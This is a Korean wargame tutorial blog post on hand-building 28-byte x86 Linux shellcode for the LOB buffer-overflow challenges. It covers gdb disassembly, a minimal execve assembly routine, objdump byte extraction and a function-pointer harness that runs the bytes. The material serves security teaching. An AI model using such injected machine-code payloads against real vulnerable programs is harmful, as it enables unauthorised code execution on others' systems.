1. intro
문제를 풀기 전에 shellcode 제작부터 조금 알아보자.
물론 이미 인터넷에는 많은 shellcode가 올라와있고, pwntools에서는 무려 자동으로 만들어주기까지 한다.
하지만 이를 이해하면 어셈블리어 공부와 더불어 다른 shellcode 작성을 위한 기초가 된다.
이 글에서는 lob만을 위한 shellcode를 작성할 예정이다.
2. shellcode란
보통 shell을 실행시켜주기 위한 기계어의 집합을 이야기한다고 생각할 수 있는데, 단순히 shell만 실행시켜주는 것이 아닌 특정 동작을 하기 위한 모든 code라고 이해하는 것이 좋다.
그 이유는 간혹 문제에서 shell을 따는 것이 아닌 flag를 바로 읽어야하거나, 바인드 / 리모트 셀과 같이 포트를 열어주는 동작 등을 해야하는 경우도 있기 때문이다.
3. 사전 지식.
shellcode를 만들기 위해서는 사전 지식으로 어셈블리어 및 syscall에 대해서 조금 알아야 한다.
이는 아래 내용을 참고하자.
3.1. 어셈블리어 기초
https://wyv3rn.tistory.com/151
3.2. 레지스터 기초
https://wyv3rn.tistory.com/144
4. shellcode 제작.
shellcode 제작은 크게 보면 아래와 같은 순서로 진행된다.
- C 언어로 원하는 동작을 구현
- gdb로 어셈블리어 확인
- 필요한 부분만 어셈블리어로 재 구현
- 컴파일 및 objdump로 기계어를 출력 및 연결
이 순서대로 진행해보자.
4.1. C 언어로 원하는 동작을 구현
lob에서의 목표는 해당 문제의 권한으로 shell을 획득하는 것이지만, shell을 획득 후 결국 password를 알아내는 것이 목표이며, 이는 lob 내부에서 my-pass라는 명령어로 확인할 수 있다.
결국은 shell 획득이 아닌 해당 권한에서 my-pass 명령어를 실행하는 것이 목표가 된다.
그러므로 이를 C 언어로 구현하면 아래와 같다.
main(){
system("my-pass");
}
이를 컴파일하고 실행하면 잘 작동함을 알 수 있다.
[gate@localhost gate]$ gcc -o a a.c
[gate@localhost gate]$ ./a
euid = 500
I dunno
다만, 다시 작업하는 것을 방지하기 위해 미리 언급하자면, system 함수는 결국 execve 함수를 실행한다.
그렇기에 execve 함수를 사용하여 다시 코딩하는 것이 좋다.
상세 사항은 아래와 같으니 참고만 하자.
프로그램이 실행되며 어떤 함수를 거치는지 방법으로 strace 명령어가 있다.
[gate@localhost gate]$ strace ./a
execve("./a", ["./a"], [/* 20 vars */]) = 0
fcntl(0, F_GETFD) = 0
fcntl(1, F_GETFD) = 0
fcntl(2, F_GETFD) = 0
personality(PER_LINUX) = 0
geteuid() = 500
getuid() = 500
getegid() = 500
getgid() = 500
brk(0) = 0x807c384
brk(0x807c3a4) = 0x807c3a4
brk(0x807d000) = 0x807d000
getpid() = 737
rt_sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
vfork(euid = 500
) = 738
wait4(738, I dunno
[WIFEXITED(s) && WEXITSTATUS(s) == 8], 0, NULL) = 738
rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD (Child exited) ---
_exit(2048) = ?
분명 system 함수를 사용하였는데, 내부적으로는 execve 함수를 실행함을 알 수 있다.
이는 system 함수 뿐만 아니라 많은 함수들이 이런 방식을 택하고 있다.
ex) printf => write
[gate@localhost gate]$ cat a.c
main(){
execve("/bin/my-pass",0,0);
}
[gate@localhost gate]$ ./a
euid = 500
I dunno
4.2. gdb로 어셈블리어 확인
gdb로 컴파일된 파일을 열어 main 함수 부분을 보면 아래와 같다.
(gdb) disas main
Dump of assembler code for function main:
0x8048198 <main>: push %ebp
0x8048199 <main+1>: mov %esp,%ebp
0x804819b <main+3>: push $0x0
0x804819d <main+5>: push $0x0
0x804819f <main+7>: push $0x8071548
0x80481a4 <main+12>: call 0x804d01c <__execve>
0x80481a9 <main+17>: add $0xc,%esp
0x80481ac <main+20>: leave
0x80481ad <main+21>: ret
0x80481ae <main+22>: nop
0x80481af <main+23>: nop
End of assembler dump.
(gdb) disas __execve
Dump of assembler code for function __execve:
0x804d01c <__execve>: push %ebp
0x804d01d <__execve+1>: mov %esp,%ebp
0x804d01f <__execve+3>: push %edi
0x804d020 <__execve+4>: push %ebx
0x804d021 <__execve+5>: mov 0x8(%ebp),%edi
0x804d024 <__execve+8>: mov $0x0,%eax
0x804d029 <__execve+13>: test %eax,%eax
0x804d02b <__execve+15>: je 0x804d032 <__execve+22>
0x804d02d <__execve+17>: call 0x0
0x804d032 <__execve+22>: mov 0xc(%ebp),%ecx
0x804d035 <__execve+25>: mov 0x10(%ebp),%edx
0x804d038 <__execve+28>: push %ebx
0x804d039 <__execve+29>: mov %edi,%ebx
0x804d03b <__execve+31>: mov $0xb,%eax
0x804d040 <__execve+36>: int $0x80
0x804d042 <__execve+38>: pop %ebx
0x804d043 <__execve+39>: mov %eax,%ebx
0x804d045 <__execve+41>: cmp $0xfffff000,%ebx
0x804d04b <__execve+47>: jbe 0x804d05b <__execve+63>
0x804d04d <__execve+49>: call 0x80482f4 <__errno_location>
0x804d052 <__execve+54>: neg %ebx
0x804d054 <__execve+56>: mov %ebx,(%eax)
0x804d056 <__execve+58>: mov $0xffffffff,%ebx
0x804d05b <__execve+63>: mov %ebx,%eax
0x804d05d <__execve+65>: lea 0xfffffff8(%ebp),%esp
0x804d060 <__execve+68>: pop %ebx
0x804d061 <__execve+69>: pop %edi
0x804d062 <__execve+70>: leave
0x804d063 <__execve+71>: ret
End of assembler dump.
4.3. 필요한 부분만 어셈블리어로 재 구현
여기는 솔직히 조금 어렵다. 공부를 꽤나 해야 이해될 수준.
딱 필요한 부분만 추려보면 아래와 같다.
#main 함수 부분
0x804819b <main+3>: push $0x0
0x804819d <main+5>: push $0x0
0x804819f <main+7>: push $0x8071548
0x80481a4 <main+12>: call 0x804d01c <__execve>
#execve 함수 부분
0x804d021 <__execve+5>: mov 0x8(%ebp),%edi
0x804d032 <__execve+22>: mov 0xc(%ebp),%ecx
0x804d035 <__execve+25>: mov 0x10(%ebp),%edx
0x804d039 <__execve+29>: mov %edi,%ebx
0x804d03b <__execve+31>: mov $0xb,%eax
0x804d040 <__execve+36>: int $0x80
결국 하는 일은
eax에 11 (execve number)
ebx에 0x8071548 위치의 값 (인자 1)
ecx에 0 (인자2)
edx에 0 (인자3)
을 넣고 interactive 즉 실행하는 역할을 한다.
execve number가 11인 이유는 syscall table을 찾아보자.
2022.09.05 - [Tips & theory] - 함수 호출 규약.
여기서 0x8071548 위치의 값을 보면 /bin/my-pass 문자열이 들어가있음을 알 수 있다.
(gdb) x/2gx 0x8071548
0x8071548 <_IO_stdin_used+4>: 0x2d796d2f6e69622f 0x65642f0073736170
(gdb) x/s 0x8071548
0x8071548 <_IO_stdin_used+4>: "/bin/my-pass"
이를 어셈블리어로 코딩해보면 아래와 같이 표현할 수 있다.
.globl main
main:
xor %eax, %eax #eax 레지스터를 0으로 초기화
mov %eax, %ecx #ecx에 0 삽입
mov %eax, %edx #edx에 0 삽입
push %eax #문자열의 끝을 나타내기 위해 0 push
push $0x73736170 #pass 문자열 push
push $0x2d796d2f #/my- 문자열 push
push $0x6e69622f #/bin 문자열 push
mov %esp, %ebx #esp 주소를 ebx에 넣음.
movb $0x0b, %al #eax 마지막 1 byte에 0x0b를 삽입
int $0x80 #interactive
여기서 특이사항은
mov %esp, %ebx
부분인데, push로 인해 esp가 /bin/my-pass 가 저장된 스택의 위치에 있을테고, execve 함수에서 첫번째 인자는 문자열이 아닌 문자열의 시작 위치 주소의 값을 가져야하기 때문이다.
4.4. 컴파일 및 objdump로 기계어를 출력 및 연결
그대로 컴파일 후 실행해보면 잘 실행된다.
[gate@localhost 1]$ gcc -o a a.s
[gate@localhost 1]$ ./a
euid = 500
I dunno
objdump 실행 후 필요한 부분만 보면 아래와 같다.
[gate@localhost 1]$ objdump -d a
...
08048398 <main>:
8048398: 31 c0 xor %eax,%eax
804839a: 89 c2 mov %eax,%edx
804839c: 89 c1 mov %eax,%ecx
804839e: 50 push %eax
804839f: 68 70 61 73 73 push $0x73736170
80483a4: 68 2f 6d 79 2d push $0x2d796d2f
80483a9: 68 2f 62 69 6e push $0x6e69622f
80483ae: 89 e3 mov %esp,%ebx
80483b0: b0 0b mov $0xb,%al
80483b2: cd 80 int $0x80
...
이제 기계어만 모아보면 아래와 같다.
\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80
실행되는지 테스트 해보자.
char code[]="\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";
main()
{
void (*pointer)(void);
printf("Lenght: %d\n",strlen(code));
pointer = (void *)code;
pointer();
}
[gate@localhost 1]$ gcc -o b b.c
[gate@localhost 1]$ ./b
Lenght: 28
euid = 500
I dunno
5. 마치며
앞으로 풀게될 lob 문제들은 기본적으로 위 shellcode를 사용해 풀어볼 것이다.
이제 시작해보자.
'Wargame > Hackerchool' 카테고리의 다른 글
[lob] goblin -> orc (0) | 2022.09.12 |
---|---|
[lob] cobolt -> goblin (0) | 2022.09.12 |
[lob] gremlin -> cobolt (0) | 2022.09.12 |
[lob] gate -> gremlin (0) | 2022.09.08 |
[lob] the Lord Of Buffer overflow를 시작하며 (0) | 2022.09.08 |